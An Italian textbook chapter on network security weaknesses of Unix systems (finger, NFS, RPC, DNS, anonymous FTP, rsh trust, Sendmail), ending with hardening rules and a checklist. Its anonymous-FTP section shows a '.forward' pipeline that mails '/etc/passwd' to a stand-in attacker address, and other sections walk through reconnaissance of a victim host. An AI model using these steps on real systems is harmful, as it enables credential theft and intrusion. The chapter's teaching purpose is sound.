Introduzione ai problemi di sicurezza con la rete
Quando un sistema è collegato a una rete di grandi dimensioni (o direttamente a Internet) per la maggior parte del tempo, è soggetto ad aggressioni di ogni tipo. Chi amministra sistemi del genere ha il suo bel da fare a cercare di impedire l’accesso da parte di estranei non autorizzati, anche se spesso si ignora candidamente il problema.
Il problema della sicurezza dei sistemi in rete non ha una soluzione definitiva, ma solo delle regole indicative. Alle volte è sufficiente ignorare una carenza della versione particolare di un servizio
che funziona presso un elaboratore, per lasciare una botola aperta a disposizione di qualcuno che ne conosce il trucco.
Si potrebbe discutere sulle qualità morali di chi passa il proprio tempo a studiare il modo migliore per danneggiare il suo prossimo, ma questo non serve poi a risolvere il problema.
Questo capitolo ha il solo scopo di introdurre il problema, mostrando anche qualche esempio di quali possano essere i punti deboli di un elaboratore collegato in rete. Non è intenzione dell’autore (che comunque non ne sarebbe in grado, data la sua scarsa preparazione)
l’incoraggiare i lettori verso attività scorrette o illegali nei confronti di chiunque.
222.1 Problemi legali
Nel momento in cui si piazza in rete un proprio elaboratore, rendendolo accessibile al pubblico, si assumono delle responsabilità. In particolare, a proposito del problema della sicurezza, altri
sistemi potrebbero risultare danneggiati da un attacco condotto con successo ai danni del proprio.
Quindi, la cosa non può essere ignorata, anche quando per se stessi potrebbe non essere importante.
Quando un sistema viene attaccato e l’aggressore riesce nel suo intento, non si può dire a cosa gli può servire, ma si possono immaginare quante cose terribili potrebbero essere ottenute a
nome di quell’elaboratore e quindi del suo amministratore. Giusto a titolo di esempio, si può considerare che questo potrebbe servire: a inviare messaggi non desiderabili (spam); a ottenere
accesso alle informazioni contenute nell’elaboratore; a modificarle per qualche fine; ad annusare la rete circostante alla ricerca di informazioni utili ad accedere agli elaboratori che si trovano in
prossimità di quello già compromesso; oppure, più in generale, a coprire altre azioni di attacco verso altri sistemi estranei, usando il primo come copertura.
Con questo scenario, si comprende che la cosa più grave che deriva da un sistema compromesso è il rischio per il suo amministratore di essere coinvolto nell’attività illegale di qualcun altro.
Pertanto, quando ci si dovesse accorgere di questo, se possibile, sarebbe opportuno staccare fisicamente tale elaboratore dalla rete, avvisare le altre persone coinvolte nell’amministrazione degli elaboratori della stessa rete locale (o che comunque hanno una qualche relazione con quello compromesso), tenere traccia in un registro fisico dell’accaduto e delle misure prese come conseguenza.
La necessità di annotare l’accaduto e le operazioni compiute deriva dalla possibilità di essere coinvolti in un procedimento giudiziario da parte di chi dovesse essere stato danneggiato dall’attività di questo ignoto.
Nello stesso modo in cui si può essere accusati ingiustamente di attività criminali compiute da altri, si rischia di accusare degli innocenti quando si cerca di determinare l’origine di un attacco. È
272 volume IV Comunicare 2
importante tenere conto che se il sistema è stato compromesso, anche i file delle registrazioni possono esserlo, comunque, l’attacco potrebbe essere giunto attraverso un sistema già compromesso
in precedenza, all’insaputa del suo amministratore.
222.2 Informazioni: la prima debolezza
I servizi offerti da un sistema connesso in rete offrono una serie di informazioni, necessarie a compiere tali servizi. Queste informazioni sono la base di partenza di qualunque possibile attacco. Per comprendere l’importanza di ciò, occorre tentare di ragionare nello stesso modo dell’ipotetico aggressore.
La conseguenza normale della presa di coscienza di questo lato del problema è la tendenza alla riduzione dei servizi, in modo da limitare le notizie disponibili all’esterno.
Gli esempi che vengono mostrati, possono essere usati tranquillamente contro macchine di cui si ha l’amministrazione (e quindi la responsabilità). Se però si tenta di scoprire le debolezze
di qualche altro sistema, anche se si crede di agire in buona fede, questo comportamento può essere individuato e considerato un tentativo di attacco reale.
222.2.1 Finger
Il protocollo Finger è la fonte primaria di informazioni per chi vuole tentare un attacco a un sistema, per cui va valutata la possibilità di escludere tale servizio dalla rete (il demone ‘fingerd’).
Finger permette di conoscere chi è connesso al sistema e cosa sta facendo.
bruto@krampus:~$ finger @vittima.brot.dg [ Invio ]
|[vittima.brot.dg]
|
|Welcome to Linux version 2.0.35 at vittima.brot.dg !
|
| 12:07pm up 4:22, 1 users, load average: 0.00, 0.00, 0.00
|
|Login Name Tty Idle Login Time Office Office Phone
|daniele *6 4:21 Sep 30 07:45
Già questo permette di sapere il tipo di kernel utilizzato e le informazioni uptime (evidentemente l’elaboratore della vittima ha avviato il demone ‘fingerd’ con l’opzione ‘-w’). Inoltre, in questo
caso appare un solo utente connesso che sta svolgendo un lavoro con un programma da ben 4 ore e 21 minuti, senza osservare il sistema in alcun modo.
L’informazione sull’utilizzo del sistema è importante per l’aggressore, che può determinare quando agire in modo da non essere scoperto.
L’aggressore potrebbe poi tentare un’interrogazione dell’elenco degli utenti, utilizzando l’esperienza delle consuetudini comuni. Così facendo potrebbe scoprire un utente di sistema mal configurato,
per esempio ‘nobody’, oppure un utente di prova lasciato lì, o comunque un’utenza inutilizzata per qualche motivo.
bruto@krampus:~$ finger root@vittima.brot.dg [ Invio ]
Introduzione ai problemi di sicurezza con la rete 273
|Login: root Name: root
|Directory: /root Shell: /bin/bash
|Last login Thu Sep 30 8:34 (CEST) on ttyp1
| from dinkel.brot.dg.1.168.192.in-addr.arpa
|...
Tanto per cominciare, in questo esempio si vede che l’utente ‘root’ può accedere da un elaboratore della rete locale, riconoscendone così la presenza e il nome: dinkel.brot.dg.
bruto@krampus:~$ finger nobody@vittima.brot.dg [ Invio ]
|Login: nobody Name: Nobody
|Directory: /tmp Shell: /bin/sh
|Never logged in.
|...
In questo caso, si nota che l’utente ‘nobody’ è stato configurato male. infatti, la directory personale di questo utente di sistema, dal momento che esiste una shell presumibilmente valida, non
può essere ‘/tmp/’. Chiunque possa avere accesso a tale directory, cioè ogni utente, potrebbe inserirvi dei file di configurazione allo scopo di abilitare una connessione esterna senza la richiesta di una parola d’ordine (viene descritto più avanti l’uso possibile di file come ‘.rhosts’ e
‘.shosts’).
bruto@krampus:~$ finger pippo@vittima.brot.dg [ Invio ]
|Login: pippo Name: (null)
|Directory: /home/pippo Shell: /bin/bash
|Last login Thu Jan 1 10:18 (CET) on tty2
La scoperta di un utente che non accede da molto tempo, permette all’aggressore di concentrare la sua attenzione su questo per tentare di impadronirsene. Di solito si tratta di utenti creati solo per fare qualche prova (‘pippo’, ‘prova’, ‘guest’, ‘backdoor’, ecc.), lasciati lì e dimenticati.
Niente di meglio quindi, considerato che spesso questi hanno delle parole d’ordine banali e individuabili facilmente.
222.2.2 NFS
La condivisione del file system attraverso il protocollo NFS può essere verificata facilmente attraverso un comando come ‘showmount’. La conoscenza delle porzioni condivise del file system
aggiunge un tassello in più alle informazioni che può raccogliere l’ipotetico aggressore.
bruto@krampus:~$ /usr/sbin/showmount -e vittima.brot.dg [ Invio ]
|Export list for vittima.brot.dg:
|/ *.brot.dg,*.mehl.dg,*.plip.dg
|/tftpboot *.brot.dg,*.mehl.dg,*.plip.dg
|/home *.brot.dg,*.mehl.dg,*.plip.dg
|/mnt *.brot.dg,*.mehl.dg,*.plip.dg
|/opt *.brot.dg,*.mehl.dg,*.plip.dg
|/usr *.brot.dg,*.mehl.dg,*.plip.dg
Per quanto riguarda questo servizio, l’amministratore di vittima.brot.dg è stato abbastanza accurato, tranne per il fatto di avere concesso l’esportazione della directory radice per intero.
274 volume IV Comunicare 2
Il fatto di avere limitato l’accessibilità a domini determinati (presumibilmente componenti la rete locale su cui è inserito tale elaboratore) non è una garanzia sufficiente. Chi dovesse riuscire a
ottenere un accesso presso una macchina di questa rete, potrebbe sfruttare l’occasione.
È importante ribadire la pericolosità dell’esportazione di una directory radice. Se un ipotetico aggressore dovesse conoscere un difetto del servente NFS che gli potesse permettere di accedere, anche se formalmente non ne risulta autorizzato, il danno sarebbe enorme.
Si osservi l’esportazione della directory ‘/home/’; di sicuro viene concessa anche la scrittura. Se l’ipotetico aggressore fosse in grado di innestare questa directory nel suo sistema, gli sarebbe facile
inserire file di configurazione come ‘.rhosts’ (‘rsh’) e ‘.shosts’ (‘ssh’), per autorizzarsi l’accesso in qualità di quell’utente (anche senza l’utilizzo di alcuna parola d’ordine).
Da quanto affermato, è importante osservare che sarebbe meglio esportare directory in lettura e scrittura solo a clienti indicati in modo preciso, evitando di consentire l’accesso in questo
modo a tutta una rete o sottorete. In tutti gli altri casi, dove possibile, sarebbe meglio esportare solo in lettura.
222.2.3 Servizi RPC
Un’altra fonte di informazioni molto importante è data dai servizi RPC, attraverso il Portmapper.
Basta usare ‘rpcinfo’ per sapere quali servizi RPC sono offerti da un certo servente. Si osservi l’esempio seguente:
bruto@krampus:~$ rpcinfo -p vittima.brot.dg [ Invio ]
| program vers proto port
| 100000 2 tcp 111 rpcbind
| 100000 2 udp 111 rpcbind
| 100005 1 udp 635 mountd
| 100005 2 udp 635 mountd
| 100005 1 tcp 635 mountd
| 100005 2 tcp 635 mountd
| 100003 2 udp 2049 nfs
| 100003 2 tcp 2049 nfs
In questo caso non c’è molto da sfruttare. In pratica è disponibile solo il servizio NFS. Però, in altre situazioni si può scoprire la presenza di NIS (YP) o di altri servizi più insidiosi.
222.2.4 DNS
Il servizio DNS permette di fornire molte informazioni, spesso inutili. Sarebbe il caso di limitarsi alla configurazione necessaria alla risoluzione corretta dei nomi e degli indirizzi, senza aggiungere altre notizie.
Per ottenere tutte le informazioni offerte da un servente DNS determinato, si può usare ‘nslookup’ con l’opzione ‘-q=any’. L’esempio seguente verifica le informazioni riferite al
dominio unipg.it; come si può vedere dal risultato non ci sono informazioni superflue.
$ nslookup -q=any unipg.it [ Invio ]
Introduzione ai problemi di sicurezza con la rete 275
|unipg.it
| origin = teseo.unipg.it
| mail addr = postmaster.unipg.it
| serial = 2002101001
| refresh = 86400
| retry = 1800
| expire = 604800
| minimum = 86400
|unipg.it mail exchanger = 10 egeo.unipg.it.
|Name: unipg.it
|Address: 141.250.1.4
|unipg.it nameserver = dns2.nic.it.
|unipg.it nameserver = teseo.unipg.it.
|unipg.it nameserver = dedalo.unipg.it.
|unipg.it nameserver = giannutri.caspur.it.
|
|Authoritative answers can be found from:
|unipg.it nameserver = dns2.nic.it.
|unipg.it nameserver = teseo.unipg.it.
|unipg.it nameserver = dedalo.unipg.it.
|unipg.it nameserver = giannutri.caspur.it.
|egeo.unipg.it internet address = 141.250.1.4
|dns2.nic.it internet address = 193.205.245.8
|teseo.unipg.it internet address = 141.250.1.7
|dedalo.unipg.it internet address = 141.250.1.6
|giannutri.caspur.it internet address = 193.204.5.35
Per questo si può usare anche ‘host’ con l’opzione ‘-a’, benché i risultati siano leggermente diversi:
$ host -a unipg.it [ Invio ]
|unipg.it SOA teseo.unipg.it postmaster.unipg.it (
| 2002101001 ;serial (version)
| 86400 ;refresh period (1 day)
| 1800 ;retry interval (30 minutes)
| 604800 ;expire time (1 week)
| 86400 ;default ttl (1 day)
| )
|unipg.it MX 10 egeo.unipg.it
|unipg.it A 141.250.1.4
|unipg.it NS dns2.nic.it
|unipg.it NS teseo.unipg.it
|unipg.it NS dedalo.unipg.it
|unipg.it NS giannutri.caspur.it
Infine, anche ‘dig’ con l’argomento ‘ANY’:
$ dig ANY unipg.it [ Invio ]
|; <<>> DiG 9.2.1 <<>> ANY unipg.it
|;; global options: printcmd
|;; Got answer:
|;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15138
276 volume IV Comunicare 2
|;; flags: qr rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 4, ADDITIONAL: 5
|
|;; QUESTION SECTION:
|;unipg.it. IN ANY
|
|;; ANSWER SECTION:
|unipg.it. 32777 IN SOA teseo.unipg.it. Ã-
,!postmaster.unipg.it. 2002101001 86400 1800 604800 86400
|unipg.it. 103210 IN MX 10 egeo.unipg.it.
|unipg.it. 43132 IN A 141.250.1.4
|unipg.it. 256298 IN NS dns2.nic.it.
|unipg.it. 256298 IN NS teseo.unipg.it.
|unipg.it. 256298 IN NS dedalo.unipg.it.
|unipg.it. 256298 IN NS giannutri.caspur.it.
|
|;; AUTHORITY SECTION:
|unipg.it. 256298 IN NS dns2.nic.it.
|unipg.it. 256298 IN NS teseo.unipg.it.
|unipg.it. 256298 IN NS dedalo.unipg.it.
|unipg.it. 256298 IN NS giannutri.caspur.it.
|
|;; ADDITIONAL SECTION:
|egeo.unipg.it. 80451 IN A 141.250.1.4
|dns2.nic.it. 27141 IN A 193.205.245.8
|teseo.unipg.it. 126469 IN A 141.250.1.7
|dedalo.unipg.it. 126468 IN A 141.250.1.6
|giannutri.caspur.it. 113325 IN A 193.204.5.35
|
|;; Query time: 2 msec
|;; SERVER: 127.0.0.1#53(127.0.0.1)
|;; WHEN: Fri Oct 18 09:50:55 2002
|;; MSG SIZE rcvd: 341
222.3 Errori comuni di configurazione
Gli errori di configurazione dei servizi sono il metodo più comune attraverso cui si consente l’aggressione del proprio sistema. In questo caso, non ci sono sistemi sicuri che tengano, a meno che il servizio stesso sia stato predisposto per impedire delle «castronerie».
222.3.1 FTP anonimo
Il servizio FTP anonimo si basa sulla definizione di un utente di sistema, ‘ftp’ e della relativa directory personale (home), ‘~ftp/’. L’utente che accede in modo normale vede un file system ridotto, dove la radice corrisponde alla directory ‘~ftp/’.
All’interno di questo piccolo mondo ci sono solitamente dei programmi di servizio, delle librerie e dei file di configurazione, tra cui in particolare anche il file ‘~ftp/etc/passwd’. Questo file
non deve essere la copia di ‘/etc/passwd’, altrimenti si rischierebbe di mettere in condizione l’utente anonimo di leggere le parole d’ordine cifrate: un aggressore sarebbe in grado di scoprire
le parole d’ordine reali degli utenti. A dire il vero, questa directory ‘~ftp/etc/’ dovrebbe impedire la lettura del suo contenuto (01118), ma ciò serve solo a non fare conoscere quali file sono contenuti, mentre tutti sanno che c’è comunque il file ‘~ftp/etc/passwd’.
Introduzione ai problemi di sicurezza con la rete 277
Inoltre, il fatto di lasciare il permesso di scrittura alla directory ‘~ftp/’ può essere altrettanto
insidioso. Un utente anonimo potrebbe mettere lì un file ‘.forward’ creato appositamente per i suoi scopi. Nell’esempio seguente si mostra in che modo sia possibile per un aggressore il farsi spedire via posta elettronica il contenuto del file ‘/etc/passwd’ reale del sistema.1
1. L’aggressore potrebbe creare un file per il forward (il proseguimento dei messaggi) contenente un comando, cosa consentita da Sendmail. In pratica, si potrebbe trattare del contenuto seguente:
|"|/bin/mail bruto@krampus.mehl.dg < /etc/passwd"
Come si vede, si tratta di una pipeline con cui si avvia ‘mail’ per inviare il file ‘/etc/
passwd’ all’indirizzo bruto@krampus.mehl.dg.
2. Questo file dovrebbe essere inviato nella directory principale del servizio FTP della vittima, nominandolo ‘.forward’, nell’ipotesi che quella directory risulti scrivibile.
3. Da quel momento, è sufficiente inviare un messaggio di posta elettronica qualunque all’indirizzoftp@vittima.brot.dg perché bruto@krampus.mehl.dg riceva quel file delle parole d’ordine.
In questo caso, è molto probabile che per l’aggressore non sia poi tanto facile cancellare le tracce lasciate (cosa senza dubbio positiva). Tuttavia questa è la dimostrazione di cosa può fare una configurazione errata di tale servizio.
222.3.2 Accesso remoto
Il servizio offerto dai demoni ‘rlogind’ e ‘rshd’ è pericoloso per la sua sola presenza, in quanto un aggressore potrebbe utilizzare un difetto in un altro servizio per configurare con successo un proprio accesso utilizzando un utente già esistente. Oltre a questo, una configurazione errata potrebbe consentire un accesso indiscriminato.
La configurazione avviene attraverso due file possibili: ‘/etc/hosts.equiv’ e ‘~/.rhosts’
(il secondo deve risiedere nella directory personale degli utenti che ne vogliono usufruire).
Finché in questi file appaiono solo nomi di nodi a cui viene concesso di accedere, i pericoli sono limitati (si fa per dire): ogni utente accede al servente senza l’indicazione della parola d’ordine, ma è almeno costretto a utilizzare lo stesso nominativo-utente. Se però si aggiungono anche i nomi di utenti che possono accedere dall’esterno, se questo viene fatto nel file ‘/etc/
hosts.equiv’, si concede loro di assumere la personalità di qualunque altro utente di quel sistema, eccetto (normalmente) l’utente ‘root’.
|dinkel.brot.dg
|roggen.brot.dg
|dinkel.brot.dg tizio
|dinkel.brot.dg caio
Se quello che si vede è il contenuto del file ‘/etc/hosts.equiv’, gli utenti ‘tizio’ e ‘caio’ del clientedinkel.brot.dg possono accedere come gli pare.
tizio@dinkel:~$ rsh -l pippo vittima.brot.dg ... [ Invio ]
L’esempio mostra l’utente ‘tizio’ che accede all’elaboratore vittima.brot.dg, utilizzando lì il nominativo-utente ‘pippo’, senza dover indicare alcuna parola d’ordine.
278 volume IV Comunicare 2
Questi file non prevedono l’indicazione di commenti. Se viene utilizzato il simbolo ‘#’, può sembrare che questo funzioni regolarmente come un commento, però, se a un aggressore fosse
possibile introdurre nel sistema DNS un nodo denominato proprio «#», facendo in modo che corrisponda a un suo indirizzo IP di comodo, ecco che quel commento servirebbe solo ad aggiungere
un nuovo accesso senza parola d’ordine.
222.4 Servizi e programmi pericolosi per loro natura
Alcuni servizi e alcuni programmi sono pericolosi per loro natura. Se devono essere utilizzati è necessario che ciò avvenga su macchine di una rete locale ben protetta dalla rete esterna.
222.4.1 Trivial FTP
Il protocollo TFTP viene usato normalmente per consentire ai sistemi senza disco (diskless) di avviarsi. Per questo, normalmente, viene permesso l’accesso alla directory ‘/tftpboot/’ nel servente, all’interno della quale si articolano le varie directory specifiche di ogni cliente che deve potersi connettere.
Tra queste directory c’è sicuramente ‘/tftpboot/indirizzo_ip/etc/’, contenente la configurazione
particolare di un certo cliente. È chiaro che un aggressore potrebbe avere accesso facilmente a tale file, con il quale poi tentare di decifrare le parole d’ordine degli utenti di quel sistema senza disco.
Il problema diventa più grave quando i file ‘passwd’ e ‘group’ sono comuni a tutti i clienti, al limite anche al servente stesso. Infatti, spesso, per semplificare le cose, si utilizzano dei collegamenti fisici per questo scopo.
Ancora più grave diventa il problema se il servizio è configurato in modo da consentire l’accesso a partire dalla directory radice del servente, cosa che si ottiene con la riga seguente nel file ‘/etc/
inetd.conf’.
|tftp dgram udp wait root /usr/sbin/tcpd in.tftpd /
222.4.2 NIS
La presenza di un servizio NIS viene scoperta facilmente attraverso un’interrogazione RPC, con il comando ‘rpcinfo -p’. L’unica «difesa» che ha il servizio NIS è quella di utilizzare un dominio NIS non intuibile; diversamente, chiunque ne sia a conoscenza può utilizzare il servizio.
Generalmente, il NIS utilizzato con i sistemi GNU, include il TCP wrapper, riconoscendo così i
file ‘/etc/hosts.allow’ e ‘/etc/hosts.deny’, cosa che dovrebbe limitare tale problema di accessibilità. Tuttavia, non bisogna dimenticare che i pericoli si corrono anche all’interno della
propria rete locale, quella per la quale si concede normalmente l’utilizzo del servizio.
A parte queste considerazioni, il tipo di NIS che si utilizza normalmente fa viaggiare nella rete tutte le informazioni che amministra, comprese le parole d’ordine cifrate degli utenti. Un
aggressore che avesse modo di analizzare la rete su cui viaggiano questi dati, potrebbe trarne vantaggio.
Un’altra cosa da considerare è che le informazioni amministrate dal NIS vengono collocate nella directory ‘/var/yp/dominio_nis/’. Se un aggressore dovesse riuscire a leggere tali directory,
verrebbe immediatamente a conoscenza del nome del dominio NIS; poi, analizzando il contenuto dei vari file, potrebbe estrarre tutte le informazioni che gli servono sugli utenti. Quello che Introduzione ai problemi di sicurezza con la rete 279
si vuole esprimere con questo è che non deve sfuggire l’esportazione della directory ‘/var/’ attraverso il servizio NFS, perché sarebbe come esportare la directory ‘/etc/’ stessa.
222.4.3 X
Il sistema grafico X è in grado di connettere i dispositivi che compongono la stazione grafica (tastiera, mouse e schermo) attraverso la rete. Questo si traduce nella possibilità per gli utenti di
avviare un programma in un elaboratore diverso dal proprio e di gestirne il funzionamento attraverso il proprio schermo grafico. Evidentemente, questo significa che vengono fatte viaggiare
attraverso la rete informazioni potenzialmente delicate, esattamente come se si usasse una shell remota non cifrata.
In generale, sarebbe opportuno impedire qualunque interazione tra gli elaboratori per ciò che riguarda X. Inoltre, bisognerebbe vietarne l’utilizzo incontrollato, impedendo il transito di questo protocollo attraverso i router.
222.4.4 Sendmail
Sendmail è considerato generalmente un servente SMTP fragile dal punto di vista della sicurezza.
Sendmail è stato progettato originalmente con una filosofia di massima prestazione e configurabilità, trascurando aspetti della sicurezza che si sono presentati con il tempo.
Uno dei maggiori problemi di Sendmail è legato alla possibilità di avere un destinatario rappresentato da un file o da una pipeline. Questo può essere utile nel file ‘/etc/aliases’ o nel file ‘~/.forward’ di ogni utente, per creare un archivio di messaggi, per gestire una lista di posta elettronica, o per filtrare i messaggi attraverso programmi specifici.
È già stato descritto come potrebbe essere sfruttato il file ‘~/.forward’ da parte di un aggressore che sia in grado di creare o di aprire questo file in scrittura nella directory di un utente: inviando
un messaggio all’indirizzo di quell’utente potrebbe ottenere l’avvio di un comando definito in una pipeline.
In passato, si sono evidenziate diverse tecniche che sfruttavano questo meccanismo, magari semplicemente mettendo dei comandi al posto dei destinatari dei messaggi. Attualmente questi problemi sono conosciuti e le versioni più recenti di Sendmail non dovrebbero consentire più questi trucchi. Fidarsi è bene,... ma in generale Sendmail è classificabile come un programma potenzialmente pericoloso.
A quanto affermato si aggiunga l’estrema difficoltà nella sua configurazione, cosa che costringe generalmente a mantenere ciò che è stato definito da altri. Un errore in questa configurazione, fatto da chiunque, potrebbe permette a qualcuno di sfruttare Sendmail per scopi indesiderabili, al limite solo per la diffusione di spam.
222.4.5 Linuxconf
Recentemente è apparso un pacchetto specifico per i sistemi GNU/Linux, il cui scopo è quello di facilitare e centralizzare la configurazione dei vari sistemi. Si tratta di Linuxconf.
A parte ogni considerazione sulla validità di questo strumento, dal momento che si tratta di qualcosa di nuovo, è ancora tutta da verificare la sua affidabilità nei confronti della sicurezza.
Un aggressore ben preparato potrebbe sfruttare questo protocollo per cambiare la configurazione della sua vittima, in modo da garantirsi un accesso.
280 volume IV Comunicare 2
Di solito, Linuxconf viene controllato dal supervisore dei servizi di rete; nel caso di Inetd, conviene commentare la riga seguente nel file ‘/etc/inetd.conf’ e fare a meno di installare il pacchetto.
|#linuxconf stream tcp wait root /bin/linuxconf linuxconf --http
222.5 Fiducia e interdipendenza tra i sistemi
Lo studio sui problemi di sicurezza riferiti a un nodo particolare, non può limitarsi all’ambito di quell’elaboratore; deve includere anche l’ambiente circostante, ovvero gli altri elaboratori dai quali può dipendere per determinati servizi, oppure dai quali può accettare accessi senza autenticazione.
L’aggressione a uno di questi sistemi pregiudica conseguentemente tutti quelli che ne dipendono.
222.5.1 Fiducia incondizionata
Si può parlare di «fiducia incondizionata» quando si concede ad altri elaboratori l’accesso, o l’utilizzo di determinati servizi, senza alcuna forma di controllo che non sia la pura determinazione del nome di questi (il nome di dominio) o del numero IP, mentre in condizioni normali sarebbe necessaria almeno l’indicazione di una parola d’ordine.
Il caso limite di fiducia incondizionata è dato dalla configurazione dei servizi di accesso remoto tramite ‘rlogin’ o ‘rsh’, in modo tale da non richiedere alcuna parola d’ordine. Nello stesso modo va visto il servizio NFS e la concentrazione amministrativa del NIS.
Quando la fiducia si basa sul semplice riconoscimento del nome del cliente, il punto debole di questo rapporto sta nella gestione dei servizi che si occupano di risolvere questi nomi in indirizzi
IP: DNS o NIS. L’aggressore che dovesse essere in grado di prendere il controllo dei sistemi che si occupano di questi servizi, avrebbe la possibilità di modificarli per i suoi scopi. La cosa diventa ancora più grave quando la gestione di questi servizi (DNS) è esterna all’ambiente controllato dall’amministratore che utilizza tale sistema di fiducia.
Eventualmente, i rapporti di fiducia possono essere basati, piuttosto che sui nomi, sugli indirizzi IP. Ciò servirebbe a ridurre i rischi, ma non a sufficienza: se il transito (il routing) non è completamente sotto controllo, qualcuno potrebbe dirottare gli instradamenti a proprio vantaggio.
222.5.2 Chiavi di identificazione
Per ridurre i rischi dovuti all’uso della fiducia incondizionata, si possono proteggere alcuni servizi attraverso chiavi di riconoscimento (come nel caso dei protocolli SSL/TLS e SECSH), con cui il servente può identificare il cliente, mentre lo stesso cliente può verificare che il servente sia effettivamente la macchina che si intende contattare.
Il meccanismo si basa sulla definizione di una coppia di chiavi: la chiave privata e la chiave pubblica. L’elaboratore «A» crea una coppia di chiavi che vengono usate in seguito per certificare la propria identità: la chiave privata non viene divulgata e serve per generare di volta in volta la prova della propria identità, la chiave pubblica viene fornita a tutti gli altri elaboratori che hanno la necessità di verificare l’identità di «A». Quando due elaboratori vogliono potersi identificare a vicenda, entrambi devono essersi scambiati la chiave pubblica rispettiva.
Introduzione ai problemi di sicurezza con la rete 281
222.5.3 Cifratura delle comunicazioni
Quando esiste un reticolo di fiducia reciproca tra diversi nodi, anche se questi possono avere un sistema sicuro di identificazione, resta il problema del transito dei dati lungo la rete, che potrebbero essere intercettati da un aggressore. Infatti, non bisogna trascurare la possibilità che qualcuno riesca a introdursi fisicamente nella rete locale (anche se apparentemente sicura), introducendo un piccolo elaboratore, nascosto opportunamente, con lo scopo di registrare tutte le transazioni, da cui trarre poi informazioni importanti (quali per esempio le parole d’ordine utilizzate per l’accesso remoto).
A questo si può porre rimedio solo con un buon sistema di cifratura, come avviene attraverso il protocollo SECSH. Tuttavia, il problema rimane per tutti quei servizi per i quali non è prevista tale possibilità.
222.6 Backdoor: cosa ci si può attendere da un sistema
compromesso
Le porte posteriori, o le botole, o backdoor, sono delle anomalie «naturali», o create ad arte, per permettere a qualcuno di accedere o utilizzare servizi in modo riservato. In pratica, è l’equivalente di un passaggio segreto, sconosciuto al proprietario del castello, attraverso il quale altri possono entrare quando vogliono senza essere notati.
Un aggressore che sia riuscito ad accedere in qualche modo a un sistema, potrebbe prendersi la briga di consolidare la posizione raggiunta ritoccando la configurazione o sostituendo gli eseguibili
di alcuni servizi, allo scopo di garantirsi un accesso privilegiato, possibilmente invisibile attraverso i mezzi normali.
Attraverso Internet è possibile procurarsi pacchetti di programmi modificati ad arte per ottenere tali scopi. Quindi, il problema è più serio di quanto si possa immaginare a prima vista.
222.7 Regole dettate dal buon senso
La soluzione assoluta che garantisca la sicurezza dei sistemi connessi in rete non esiste. Tuttavia si possono tenere a mente alcune regole elementari, dettate dal buon senso. L’elenco di suggerimenti
che appare di seguito, è ispirato in modo particolare da Improving the Security of your site by breaking into it di Dan Farmer e Wietse Venema.
• Sarebbe bene escludere il servizio Finger. Se ciò non fosse possibile, sarebbe almeno il caso di utilizzarne una versione modificata che non fornisca informazioni troppo delicate come la directory personale e l’origine dell’ultimo accesso.
• Non si deve usare il NIS, a meno che ciò sia assolutamente necessario.
• Si deve usare il servizio NFS il meno possibile.
• Se viene attivato il servizio NFS, non devono essere esportate directory in modo incondizionato a qualunque nodo (attualmente, i serventi NFS nei sistemi GNU/Linux non lo consentono in ogni caso). Inoltre, è bene cercare almeno di limitare l’esportazione alla sola lettura.
Non si deve esportare assolutamente la directory radice.
282 volume IV Comunicare 2
• Evitare di fornire servizi attraverso programmi ben conosciuti per i loro problemi di sicurezza. Sendmail è un esempio tipico di un tale programma così pericoloso.
• Occorre porre un’attenzione particolare alla protezione dei serventi che offrono servizi delicati come DNS, NFS, NIS e altro. Su queste macchine sarebbe opportuno fossero ammessi ad accedere solo utenti che hanno un ruolo amministrativo.
• È necessario esaminare attentamente i servizi offerti, spesso in modo predefinito, attraverso l’analisi del file ‘/etc/inetd.conf’, l’interrogazione delle RPC (il Portmapper) e l’elenco dei processi (alcuni servizi potrebbero essere indipendenti sia dal supervisore dei servizi di rete che dal sistema delle RPC).
È importante che siano attivi solo i servizi necessari.
• Quando possibile è opportuno utilizzare l’avvio dei servizi attraverso il controllo del supervisore dei servizi di rete e del TCP wrapper. Quando non si intende fornire un servizio,
conviene almeno monitorarne le richieste attraverso l’ausilio del TCP wrapper (questo particolare viene chiarito nel capitolo 226).
• Ridurre o eliminare del tutto la «fiducia» basata esclusivamente sul nome del cliente.
• Utilizzare parole d’ordine oscurate e un comando ‘passwd’ che non consenta l’utilizzo di parole d’ordine troppo semplici (generalmente è già così nella maggior parte delle distribuzioni GNU/Linux).
• Fare a meno di gestire gruppi di lavoro abbinati a parole d’ordine: una parola d’ordine di gruppo è un segreto senza valore.
• Disabilitare gli utenti di sistema (‘bin’, ‘daemon’, ecc.); disabilitare o eliminare gli utenti comuni che non abbiano utilizzato il sistema da tanto tempo (una gestione corretta delle parole d’ordine oscurate può automatizzare questo meccanismo.
• Leggere la documentazione disponibile riferita al problema della sicurezza e tenersi aggiornati il più possibile, anche iscrivendosi ai gruppi di discussione che trattano l’argomento.
• Installare gli aggiornamenti riferiti alla sicurezza il più presto possibile.
• Scandire regolarmente il file system alla ricerca di alterazioni nei file. Per questo si utilizzano programmi come AIDE e Tripwire.
222.8 Lista di spunta
Oltre che tenere a mente le regole dettate dal buon senso per cercare di evitare problemi nella sicurezza dei sistemi amministrati, si potrebbe pensare alla definizione di un comportamento
standard, verificabile attraverso una lista di spunta, come si fa di solito nei paesi di lingua inglese (checklist). Nel documento Improving the security of your UNIX system, viene proposta un’appendice con un esempio di una tale lista, a cui si ispira quella seguente.
È chiaro che ogni amministratore deve decidere la propria strategia, in funzione delle esigenze e della sua personale propensione al rischio. Con l’esempio seguente, si vuole solo invitare a predisporre la propria lista di spunta personale.
Sicurezza delle utenze
Introduzione ai problemi di sicurezza con la rete 283
• Definizione delle regole imposte agli utenti riferite alle parole d’ordine.
• Verifica delle parole d’ordine rispetto a scelte ovvie.
• Definizione della scadenza di ogni utenza.
• Eliminazione di utenti generici (come il tipico utente ‘guest’).
• Verifica che tutti gli utenti abbiano una parola d’ordine, oppure che queste siano disabilitate attraverso un asterisco nel campo corrispondente.
• Verifica che tutti gli utenti di sistema non possano essere utilizzati per accedere, a causa della presenza di un asterisco nel campo della parola d’ordine.
• Eliminazione delle utenze di gruppo.
Sicurezza della rete
• Eliminazione del file ‘/etc/hosts.equiv’.
• Eliminazione dei file ‘~/.rhosts’ di ogni utente.
• Verifica che il file ‘/etc/securetty’ contenga solo dispositivi di console.
• Verifica che l’esportazione NFS sia consentita solo a nodi indicati in modo preciso, possibilmente per numero IP.
• Verifica dell’esportazione NFS minima indispensabile.
• Verifica della versione di Sendmail.
• Eliminazione del servizio Finger se non è indispensabile.
